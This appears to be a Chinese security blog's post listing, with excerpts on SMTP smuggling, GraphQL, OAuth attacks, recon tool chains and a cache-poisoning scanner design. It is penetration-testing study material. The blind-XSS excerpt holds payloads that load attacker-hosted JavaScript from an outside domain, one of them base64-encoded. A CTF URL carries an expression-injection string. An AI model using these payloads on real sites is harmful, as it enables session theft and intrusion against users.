2020-2024top-10-web-hacking-techniques-of-2023
无聊在刷portswigger时发现portswigger原来还有对年度十大研究成果进行排名,感觉都挺有意思的。2023/top3:SMTP走私——全球范围内的电子邮件伪造所谓SMTP请求走私就是利用SMTP服务器的发送端和接收端的差异而进行的。
SMTP报文结果,发送端和接受端的简介首先我们得先了解一下发送端于接受端的功能对应报文的处理
报文结构123456789From: Alice <alice@example.com>\r\nTo: Bob <bob@example.com>\r\nSubject: Test\r\nDate: Thu, 10 Dec 2025 15:30:00 +0800\r\n\r\nHello Bob,\r\nThis is a test email.\r\n.\r\n
可以发现其实就是邮件头加消息即body的结构,然后使用单独一行的.即<CRLF> . <CRLF>来当结束符。
发送端于发送端的差异首先发送端遇到<CRLF> . <CRLF>即结束符号时会进行截断直接不解析后面的即只 ...
盲xss
https://conote.xsslse.xyz/xssconote+飞书通知payload如下Import:Script:Input:Img:Video:IFrame:XMLHTTP:
1234567"><img src='z' onerror=import('https://lse11.cn/Kq8Snzf8.js?n=0d1a98')>"><script src=https://lse11.cn/Kq8Snzf8.js?n=0d1a98></script>"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vbHNlMTEuY24vS3E4U256ZjguanM/bj0wZDFhOTgiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocu ...
信息收集
子域名+探活subfinder1subfinder -dL domain.txt -all >> domians1.txt
oneforall1python3 oneforall.py --targets domain.txt run
httpx1cat all_domains.txt|httpx -ports 80,443,8080,8000,8888,8443 -sc -title -mc 200,404,403,302 -threads 200 |tee subdomains_alive.txtTscan截图
渗透时naabu发现非80,443的web端口1
url收集被动收集gau+ourgau容易被ban1cat livesubdomains.txt | gau | sort -u > urls2.txt
VirusTotal.sh+ourhttps://github.com/coffinxp/scripts/blob/main/virustotal.sh1
GraphQL
什么是GraphQL?GraphQL 其实就是一种api查询语言,其可以对api端点的数据进行查询,修改删除,和订阅。
什么是GrapQL的查询其实也就是query关键词比如如下代码123456query myGetProductQuery { getProduct(id: 123) { name description }}
其中myGetProductQuery是我们自定义的,数据名查询后的内容会以这个为key值内部的getProduct(id: 123),这个操作其实就是类似于调用一个内部已经定义好的函数,传入的参数是id值为123,内部的name和description其实就是要求其返回的数据段。
什么是 GraphQL mutationsmutations就是以某一种方法来更改数据,添加和删除数据。这个结构其实和查询差不多,其实也是调用了内部自定义好的接口1234567mutation { createProduct(name: "Flamin' Cocktai ...
OAuth2.0认证解析与威胁
什么是OAuth2.0认证OAuth2.0其实就是第三方登陆的一种授权类型,其给授权流程定义了一个标准。
Oauth的流程与种类隐式# 识别OAuth认证与OAuth的攻击注意一般Oauth登陆的文章再文件进入时会向授权服务端发送类似如下的请求12https://xxxx.xx/auth?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1Host: oauth-authorization-server.com当然参数不止有如上的两个还有很多,但是一般都会包含着两个参数再发现服务端时我们可以尝试服务如下路径来尝试查看其配置文件12/.well-known/oauth-authorization-server/.well-known/openid-configuration
靶场:通过OAuth隐式流程绕过认证其实这个靶场更加类似于idor ...
缓存劫持扫描器
爬虫模块。使用ktana来进行url的主动爬取,深度要可选择,默认就2吧使用gau来被动获取url将获取的所有url丢到下面的缓存检测模块进行检测,并标记上是否缓存进行分类。以方便下面的缓存逻辑检测模块
缓存检测模块对同一个url进行3次请求,当三次中出现了如下的响应头的规范就缓存命中
cdn出现如下响应头时其缓存命中123456789101112131415161718CDN提供商 缓存状态响应头字段 表示命中的值 响应头示例Cloudflare CF-Cache-Status HIT CF-Cache-Status: HITAWS CloudFront X-Cache Hit from cloudfront X-Cache: Hit from cloudfrontAkamai X-Cache, Server-Timing 包含HIT的值 X-Cache: TCP_HIT, Server-Timing: cdn-cache; desc=HITFastly X-Cache, X-Served-By HIT X-Cache: HIT, HIT, X-Served-By: cache-hk ...
信息收集工具编写
网上工具有很多.但是都没有串联,写个缝合怪模块域名收集subfinder
oneforall
合并去重subfinder和oneforall的域名存储到domain.txt
然后使用alterx来对域名进行变体探测
cat domain.txt | alterx | ksubdomain -verify -silent |tee res.txt合并去重 domain.txt与res.txt得到最终的domains.txt
端口扫描top100 默认使用naabu进行扫描top100
url处理naabu扫描完端口后使用httpx进行验证,并输出在项目的url文件夹下
主动爬取将获取的url使用ktana进行主动爬取,然后传给hakrawler,输出在url文件夹下
被动爬取使用gauxscan存在主动与被动,主动爬取的url传入xscan,输出其主动和gau被动爬取的值。所有扫描结束后将值
url去重主动爬取的url结果经过urldedupe处理 -s 处理
漏洞发现nuclei(内存占用也大,采用10000,10000行的形式会好很多)
xss扫描时使用脚本讲url分为10000行1 ...
强网
https://eci-2ze5i7cbu6fsrcnhkfnv.cloudeci1.ichunqiu.com:8080/check?rule=%23%7B%23systemProperties%5B'user.home'%5D=%22/tmp/%22%7D
chacklist
aa4d0537ff612e50e47a231e796e4a1f0515937c555566258a32aae013c98db13600992ddb8390b32a555b79c8c93980c101f3c72cd335852f8ada49a2e3a48344f1110546c53d55d7f2ce7a0f94b7c51de710e26ba42d3d808c41046c309c3d4e8496061ccc51225e2d696a76a6428af7b9214b7a6866bbb75e828f66cb8e590ea3890f7726117b6b795c418f385d2b82eed3dab27bc07b89080bbb4873be248add2177ce5d813fc29f40b4a46638d60242281a8d4b8f1ff2706bd7c6aeaa5721874292c2b1b4ce46762fd6832ae2d329253ea7346ec9af46c5ddc747085654577697a1eb3f22d7f1e426ea09cc4451d037804bb4232691f ...















